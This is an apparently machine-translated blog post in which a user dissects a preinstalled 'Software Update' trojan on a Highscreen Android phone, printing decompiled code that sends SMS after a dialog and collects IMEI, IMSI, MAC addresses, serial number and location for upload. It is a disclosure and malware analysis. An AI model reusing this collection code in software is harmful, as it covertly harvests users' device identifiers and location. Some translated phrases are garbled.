Trojaner im Highscreen, oder wie das Telefon begann Wunder zu wirken

    Guten Tag, Habr!
    Ich möchte Ihnen eine Geschichte erzählen, die fast mein noch junges graues Haupt provoziert hätte.
    Hintergrund
    Begonnen hat alles damit, dass ich vor ein paar Monaten Highscreen Omega Prime S gekauft habe, mich als Elefant gefreut habe, nicht genug von diesem wundervollen Gerät bekommen konnte, das klug und fast beschwerdefrei funktionierte. Und alles wäre in Ordnung, wenn ich nicht einmal eine Reihe von Benachrichtigungen gesehen hätte, die ungefähr so ​​aussahen:


    Und ich fing an zu überlegen: Was ist das, wo kommt es her, vielleicht ist mein Telefon kaputt, aber wie? Aber nach ein paar Sekunden ließ die Panik nach, ich drückte eine der Benachrichtigungen aus, wählte das Element "Anwendungsinformationen" aus und war sehr überrascht zu sehen, dass die Anwendung "Software-Update" die Benachrichtigungen anzeigte ...

    Was mich noch mehr überrascht hat, ist, dass für diese Anwendung Berechtigungen zum Senden von SMS, zum Ermitteln des Standorts, zum Installieren von Verknüpfungen und zum Koppeln mit Bluetooth-Geräten erforderlich sind.
    Vollständige Liste der Berechtigungen


    Während ich darüber nachdachte, wie ich diese Anwendung loswerden könnte, lud ich das Hilfsprogramm für Brunft herunter und dachte nur darüber nach, wie dies überhaupt möglich ist - ich bekam ungefähr 5 Schrotkatzen (genauer gesagt, ich bemerkte ihre Anwesenheit, sie erschienen wahrscheinlich zusammen mit Benachrichtigungen):


    Ich entfernte die APK-Datei sofort vom Telefon, zerlegte sie mit den Dienstprogrammen apktool, dex2jar und jd-gui in ihre Bestandteile und begann zu studieren.

    Studie

    Die Studie begann mit der Analyse von AndroidManifest.xml, und das zweite, was mich verwirrte, war das Vorhandensein von Diensten und Empfängern im Paket com.gmobi.trade (obwohl sich die Anwendung selbst in com.redbend.dmClient befindet).
    Liste der Dienste und Empfänger


    Und hier sehen Sie einen sehr verdächtigen Empfänger - warum verfolgt eine Anwendung, die das System aktualisiert, das Hinzufügen / Entfernen von Anwendungen? Bei einem kurzen Blick auf den Code wurde außerdem festgestellt, dass ActionMonitor einen ActionService startet, der wiederum einen TradeService startet, der wiederum etwas Unbekanntes und Verschleiertes startet. Leider lässt sich der größte Teil des Codes, den mir jd-gui gegeben hat, nicht nüchtern analysieren.

    SMS

    Ja, in dieser Anwendung gibt es einen Code zum Senden von SMS: JSON kommt von einer Stelle, von der aus AlertDialog erstellt wird, und im Handler zum Drücken der positiven Taste wird SMS gesendet. Ich bin froh, dass das zumindest nicht im Hintergrund passiert. Es ist jedoch noch unklar, warum das Hilfsprogramm zum Aktualisieren der Software in der Regel SMS-Nachrichten verschickt.
    SMS-Sendecode
    AlertDialog.Builder localBuilder2 = new AlertDialog.Builder(this);
    localBuilder2.setTitle(str14);
    localBuilder2.setMessage(str15);
    localBuilder2.setPositiveButton(str16, new DialogInterface.OnClickListener(locallqe, str1, str19, str18, localNotificationManager, i) {
        public final void onClick(DialogInterface paramDialogInterface, int paramInt) {
            b.b(c, 3);
            SmsManager localSmsManager = SmsManager.getDefault();
            dfe.a("Sending [" + d + "] to [" + e + "]");
            localSmsManager.sendTextMessage(e, null, d, null, null);
            f.cancel(g);
            finish();
            b.b(c, 5);
        }
    });
    localBuilder2.setNegativeButton(str17, new DialogInterface.OnClickListener(locallqe, str1) {
        public final void onClick(DialogInterface paramDialogInterface, int paramInt) {
            b.b(c, 4);
            finish();
        }
    });
    localBuilder2.setCancelable(false);
    localBuilder2.create().show();
    



    Bluetooth, Geokoordinaten und mehr

    Hier ist alles mehr oder weniger sicher. Nun, wie "sicher" ... die Anwendung erhält nur die MAC-Adresse des BT-Adapters, erhält Geokoordinaten, prüft, ob WLAN aktiviert ist, erhält die MAC-Adresse des WiFi-Adapters und sendet diese Daten an den Unbekannten :)
    Code für die Informationserfassung
    public final JSONObject f() {
        JSONObject localJSONObject1 = new JSONObject();
        try {
            localJSONObject1.put("sdk", "go2sync");
            localJSONObject1.put("sdk_v", "1.2");
            localJSONObject1.put("sdk_b", "2014.03.06.1");
            localJSONObject1.put("app", a.getPackageName());
            localJSONObject1.put("ch", t);
            localJSONObject1.put("app_v", opt.e(a));
            localJSONObject1.put("imsi", q.j);
            localJSONObject1.put("imei", q.k);
            localJSONObject1.put("wifi", k);
            localJSONObject1.put("gprs", l);
            localJSONObject1.put("brand", g());
            localJSONObject1.put("sd", opt.c());
            localJSONObject1.put("id", c());
            azw.lqe.azw localazw = opt.c(a);
            StringBuilder localStringBuilder = new StringBuilder("ua:")
                    .append(opt.a(false))
                    .append("|imei:")
                    .append(localazw.a())
                    .append("|imsi:")
                    .append(localazw.b())
                    .append("|wmac:")
                    .append(opt.b(a))
                    .append("|bmac:");
            localJSONObject1.put("cid", opt.a(opt.a() + "|sn:" + opt.a(a)))
            localJSONObject1.put("ua", opt.a(false));
            localJSONObject1.put("os", "android");
            localJSONObject1.put("os_v", opt.b());
            localJSONObject1.put("lang", Locale.getDefault().getLanguage())
            localJSONObject1.put("country", opt.h(a));
            localJSONObject1.put("gp", q.n);
            localJSONObject1.put("wmac", opt.b(a));
            localJSONObject1.put("bmac", opt.a());
            localJSONObject1.put("sn", opt.a(a));
            localJSONObject1.put("sa", opt.g(a));
            localJSONObject1.put("sw", opt.j(a));
            localJSONObject1.put("sh", opt.k(a));
            Location localLocation = opt.f(a);
            if (localLocation != null) {
                JSONObject localJSONObject2 = new JSONObject();
                localJSONObject2.put("lng", localLocation.getLongitude());
                localJSONObject2.put("lat", localLocation.getLatitude());
                localJSONObject1.put("loc", localJSONObject2);
            }
            localJSONObject1.put("roaming", opt.o(a));
            return localJSONObject1;
        } catch (JSONException localJSONException) {
            dfe.a(localJSONException);
        }
        return localJSONObject1;
    }
    



    Zusammenfassung

    Ich musste das Telefon ruinieren, um diese Anwendung zu entfernen. Wie das System jetzt aktualisiert wird, ist nicht bekannt.

    PS

    Diese Anwendung war "Funken", es konnte nicht entfernt oder deaktiviert werden. Und ich installiere keine Anwendungen von Quellen, denen ich nicht vertraue. Daher ist die Wahrscheinlichkeit, dass all dies durch meine Schuld passiert ist, gleich Null.
    Alle Dateien stehen zum Download bereit hier .

    UPD1: Virustotal - www.virustotal.com/de/file/108299c363e361d85b8e34676806373c7e445ae6731b3f3400d77cf947550b6c/analysis/1412500174

    UPD2: Wie sich herausstellte, bestätigte der Highscreen das Problem mit dem Hinweis auf einen GM-Fehler Link: highscreen.org/babltrabl
    Aber es gibt nur einen BUT: highscreen, der an den FOTA-Anbieter verwiesen wurde, aber noch kein einziges Update auf meinem Gerät über OTA eingetroffen ist.
    Danke Peyt für die Info!

    Jetzt auch beliebt: